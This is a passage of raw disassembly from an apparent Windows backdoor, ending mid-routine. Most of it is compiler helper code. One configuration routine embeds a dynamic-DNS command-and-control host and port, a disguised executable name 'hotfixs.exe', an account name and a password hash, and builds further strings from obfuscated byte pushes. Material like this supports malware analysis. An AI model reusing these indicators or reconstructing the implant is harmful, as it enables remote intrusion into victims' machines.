; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4070B0	proc near		; CODE XREF: sub_401591j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015D7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014E2
sub_4070B0	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4070F0	proc near		; CODE XREF: sub_401AF0j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AC3
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jz	short loc_40716B
		mov	edi, [esp+10h+arg_0]


loc_407133:				; CODE XREF: sub_4070F0+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_40173F
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_407175
		call	sub_401F0A
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jnz	short loc_407133


loc_40716B:				; CODE XREF: sub_4070F0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_407175:				; CODE XREF: sub_4070F0+5Aj
		call	sub_40173F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_4070F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071C0	proc near		; CODE XREF: sub_4021F8j
		xor	al, al
		retn	4
sub_4071C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4071E0	proc near		; CODE XREF: sub_401564j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_4071E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407220	proc near		; CODE XREF: sub_401622j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407220	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407260	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407260	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407290	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021BC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_407290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072D0	proc near		; CODE XREF: sub_401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401B63
		mov	eax, esi
		pop	esi
		retn
sub_4072D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072F0	proc near		; CODE XREF: sub_40173Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_4072F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407310	proc near		; CODE XREF: sub_401F0Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FA0
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407370	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C8A
		mov	edi, eax
		push	edi
		call	sub_401C58
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_407370	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C58
		push	edi
		mov	[eax], ebx
		call	sub_401C58
		mov	edi, [eax]
		push	edi
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401672
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407410	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019C9
sub_407410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407425
		mov	edi, esi


loc_407425:				; CODE XREF: ___:00407421j
		push	esi
		call	sub_401A82
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40743A
		mov	edi, esi


loc_40743A:				; CODE XREF: ___:00407436j
		push	esi
		call	sub_401C58
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407460	proc near		; CODE XREF: sub_401A82j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_407460	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407480	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_407480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074A0	proc near		; CODE XREF: sub_401B63j
		mov	eax, ecx
		retn
sub_4074A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074C0	proc near		; CODE XREF: sub_402185j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_4074C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401FA0j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407520	proc near		; CODE XREF: sub_401C58j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407540	proc near		; CODE XREF: sub_4019C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_407540	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401672j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_407570	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075A0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_401C8Aj
		mov	eax, [ecx]
		retn
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4075E0	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4075EA
		xor	eax, eax


loc_4075EA:				; CODE XREF: sub_4075E0+6j
		push	eax
		call	sub_4367FA
sub_4075E0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40762B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40762B:				; CODE XREF: sub_407610+11j
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407640	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407660	proc near		; CODE XREF: sub_401B2Cj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407660
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017E4
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_448D06
		call	sub_401B5E
sub_407660	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076F0	proc near		; CODE XREF: sub_401CC1j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076F0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017E4
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_448D06
		call	sub_401B5E
sub_4076F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407790	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_174]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2C4]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_401424
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_401424
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_401424
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_401424
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_18C]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_401424
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_144]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_401424
		mov	bl, 1Eh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_174]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A87
		push	offset byte_446F60
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A87
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_1A4]
		call	sub_401A87
		lea	eax, [esp+35Ch+var_2DC]
		lea	ecx, [esp+35Ch+var_1D4]
		push	eax
		call	sub_40200E
		push	offset byte_446F60
		lea	ecx, [esp+360h+var_294]
		call	sub_401A87
		push	offset aScop	; "#scop#"
		lea	ecx, [esp+360h+var_2C4]
		call	sub_401A87
		push	offset aS_1	; "#s"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A87
		push	offset aServec	; "servec"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A87
		push	offset aHotfixs_exe ; "hotfixs.exe"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A87
		push	offset aHoewrt	; "hoewrt"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A87
		push	offset aTahy	; "TAHY-"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A87
		push	offset aAbosal7	; "abosal7"
		lea	ecx, [esp+360h+var_264]
		call	sub_401A87
		push	offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A87
		push	offset aAdmin_com ; "admin.com"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A87
		push	offset aTsinternetuser ; "TsInternetUser"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A87
		push	offset dword_4437FC
		lea	ecx, [esp+360h+var_18C]
		call	sub_401A87
		push	offset dword_4437F8
		lea	ecx, [esp+360h+var_1EC]
		call	sub_401A87
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	ecx, [esp+384h+var_348]
		push	46h
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_144]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	18h
		push	9
		push	6
		push	14h
		push	0Fh
		lea	edx, [esp+3B0h+var_348]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 5Ch
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	ecx, [esp+36Ch+var_348]
		push	45h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_24C]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	edx, [esp+368h+var_348]
		push	46h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	ecx, [esp+36Ch+var_348]
		push	14h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40200E
		mov	byte ptr [esp+35Ch+var_4], bl
		lea	ecx, [esp+35Ch+var_348]
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	edx, [esp+370h+var_348]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2AC]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+3D0h+var_348]
		push	13h
		push	eax
		mov	byte ptr [esp+3D8h+var_4], 27h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 28h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0FECh]
		mov	byte ptr [esp+38Ch+var_4], 29h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
sub_407790	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 2Ah
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Bh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+1035h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 2Ch
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+78h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3C4h], 2Dh
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Eh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+0FA3h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Fh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+80h]
		push	13h
		push	eax
		mov	byte ptr [esp+3CCh], 30h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 31h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0F5Ah]
		mov	byte ptr [esp+388h], 32h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		mov	byte ptr [esp+370h], 33h
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
